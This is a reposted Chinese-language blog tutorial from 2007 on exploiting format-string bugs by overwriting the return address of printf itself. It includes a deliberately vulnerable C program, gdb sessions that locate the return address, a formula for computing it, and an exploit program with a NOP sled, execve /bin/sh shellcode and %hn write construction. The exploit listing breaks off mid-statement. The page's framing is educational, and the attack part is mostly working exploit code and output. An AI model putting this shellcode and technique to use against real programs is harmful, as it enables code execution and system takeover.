覆蓋*printf()系列函式本身的返回地址(轉)

RegisterForBlog發表於2007-09-19
覆蓋*printf()系列函式本身的返回地址(轉)[@more@]

  ★ 前言

  在scut寫的<>中列出了六種比較通用的方法來獲得控制權:

  1. 覆蓋GOT

  2. 利用DTORS

  3. 利用 C library hooks

  4. 利用 atexit 結構(靜態編譯版本才行)

  5. 覆蓋函式指標

  6. 覆蓋jmpbuf's

  在這裡,不想討論上面這些東西,請自行參考相關資料

  但是有些時候,你只能覆蓋0xbfff0000-0xbfffffff的地址空間,因為是format string 被程式做了限制,而程式又呼叫了exit(0),(也許你沒有碰到過這樣類似的漏洞程式,但我碰到了,而且比這個要求還更苛刻:( ) 所以利用覆蓋GOT、利用DTORS、利用C library hooks這些技術都行不通了,因為這些地址以0x08打頭(C library hooks是0x04打頭)。覆蓋main返回地址也不行。那總該覆蓋到點什麼東西使我們的shellcode得到控制權吧。

  ★ 覆蓋格式化函式自己的返回地址

  一般的buffer overflow的情況下,是不可能覆蓋到象*printf()這種glibc函式的返回地址的,但是format string就給了我們機會,而且個人認為精確度會更高。比如說printf(buf),就利用格式化串的buf來覆蓋printf函式的返回地址。

  ★ 存在格式化字串問題的程式

  [alert7@redhat62 alert7]# cat vul.c

  #include

  int main(int argc,char **argv)

  {

  char buf[10000];

  bzero(buf,10000);

  if (argc==2) {

  strncpy(buf,argv[1],9999);

  printf(buf);

  }

  }

  [alert7@redhat62 alert7]# gcc -o vul vul.c -g

  ★ 精確定位幾個資料

  一檢視垃圾資料個數(以4位元組為單位)

  [alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%paaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil)我們看到沒有垃圾資料 X=0;如果不明白怎麼回事,請查閱<>

  二檢視format string 地址

  [alert7@redhat62 alert7]# gdb vul -q

  (gdb) disass main

  Dump of assembler code for function main:

  0x8048438
:

  push

  %ebp

  0x8048439
:

  mov

  %esp,%ebp

  0x804843b
:

  sub

  $0x2710,%esp

  0x8048441
:

  push

  $0x2710

  0x8048446
:

  lea

  0xffffd8f0(%ebp),%eax

  0x804844c
:

  push

  %eax

  0x804844d
:

  call

  0x8048364

  0x8048452
:

  add

  $0x8,%esp

  0x8048455
:

  cmpl

  $0x2,0x8(%ebp)

  0x8048459
:

  jne

  0x8048487

  0x804845b
:

  push

  $0x270f

  0x8048460
:

  mov

  0xc(%ebp),%eax

  0x8048463
:

  add

  $0x4,%eax

  0x8048466
:

  mov

  (%eax),%edx

  0x8048468
:

  push

  %edx

  0x8048469
:

  lea

  0xffffd8f0(%ebp),%eax

  0x804846f
:

  push

  %eax

  0x8048470
:

  call

  0x8048374

  0x8048475
:

  add

  $0xc,%esp

  0x8048478
:

  lea

  0xffffd8f0(%ebp),%eax

  0x804847e
:

  push

  %eax

  0x804847f
:

  call

  0x8048354

  0x8048484
:

  add

  $0x4,%esp

  0x8048487
:

  leave

  0x8048488
:

  ret

  End of assembler dump.

  (gdb) b * 0x804847f

  Breakpoint 1 at 0x804847f: file vul.c, line 8.

  (gdb) r aaaa

  Starting program: /home/alert7/overflow/sploit/vul aaaa

  Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8

  8

  printf(buf);

  (gdb)

  p &buf

  $1 = (char (*)[10000]) 0xbfffd468

  ~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr

  (gdb) i reg $eax $esp $ebp

  eax

  0xbfffd468

  -1073752984

  esp

  0xbfffd464

  -1073752988

  ebp

  0xbffffb78

  -1073742984

  (gdb) x/8x 0xbfffd450

  0xbfffd450:

  0xbfffd468

  0xbffffb78

  0x08048475

  0xbfffd468

  0xbfffd460:

  0xbffffcbf

  0xbfffd468

  0x61616161

  0x00000000

  (gdb) si

  0x8048354 in printf () at printf.c:26

  26

  printf.c: No such file or directory.

  (gdb) x/8x 0xbfffd450

  0xbfffd450:

  0xbfffd468

  0xbffffb78

  0x08048475

  0xbfffd468

  0xbfffd460:

  0x08048484

  0xbfffd468

  0x61616161

  0x00000000

  ~~~~~~~~~~~~~~~~~^就這個地址,已經變成了0x08048484,就是該printf函式的返回地址,所以我們也找到了printf函式返回地址存放的地址:0xbfffd460其實0xbfffd464地址的內容就是push %eax下去的東西0xbfffd460為該printf上下文的棧幀的EIP存放地址

  三 計算printf函式返回地址存放的地址

  現在來用公式表達一下printf函式返回地址存放的地址:(format string addr) -(X*4)-8format string addr是可以暴力猜測的。X更是可以簡單的得到,所以這個地址是很精確的。當然不同的系統不同的格式化串等等都會導致*printf系列函式返回地址存放的地址不一樣,需要自行研究和糾正公式,這裡只是個簡單的演示,意在拋磚引玉。

  ★ 看看我們的利用程式

  [alert7@redhat62 alert7]# cat exp.c

  /*e*/

  #include

  #include

  #define DEFAULT_OFFSET

  0

  #define DEFAULT_ALIGNMENT

  0

  #define DEFAULT_RETLOC

  0xbfffd468-0*4-8 //F-X*4-8

  //F為格式化字串地址

  //X為垃圾的個數,X*4也就是

  //從esp到F的長度

  #define NOP

  0x90

  char shellcode[] =

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

  "x80xe8xdcxffxffxff/bin/sh";

  int main(int argc, char *argv[]) {

  char *ptr;

  long shell_addr,retloc=DEFAULT_RETLOC;

  int i,SH1,SH2;

  char buf[512];

  char buf1[5000];

  printf("Using RET location address: 0x%x ", retloc);

  shell_addr = retloc+80;

  printf("Using Shellcode address: 0x%x ", shell_addr);

  SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff

  SH2 = (shell_addr >>

  0) & 0xffff;//SH2=0xd3a8

  ptr = buf;

  if ((SH1)

  {

  memset(ptr,'B',4);

  ptr += 4 ;

  (*ptr++) =

  (retloc+2) & 0xff;

  (*ptr++) = ((retloc+2) >> 8

  ) & 0xff ;

  (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;

  (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

  memset(ptr,'B',4);

  ptr += 4 ;

  (*ptr++) =

  (retloc) & 0xff;

  (*ptr++) = ((retloc) >> 8

  ) & 0xff ;

  (*ptr++) = ((retloc) >> 16 ) & 0xff ;

  (*ptr++) = ((retloc) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));

  /*推薦構造格式化串的時候

  

·上一篇:

·下一篇:
 
     最新更新
·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·

·


| | | | | | |

Copyright © 2004 - 2007 All Rights Reserved

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10763080/viewspace-970290/,如需轉載,請註明出處,否則將追究法律責任。

覆蓋*printf()系列函式本身的返回地址(轉)
請登入後發表評論 登入
全部評論

相關文章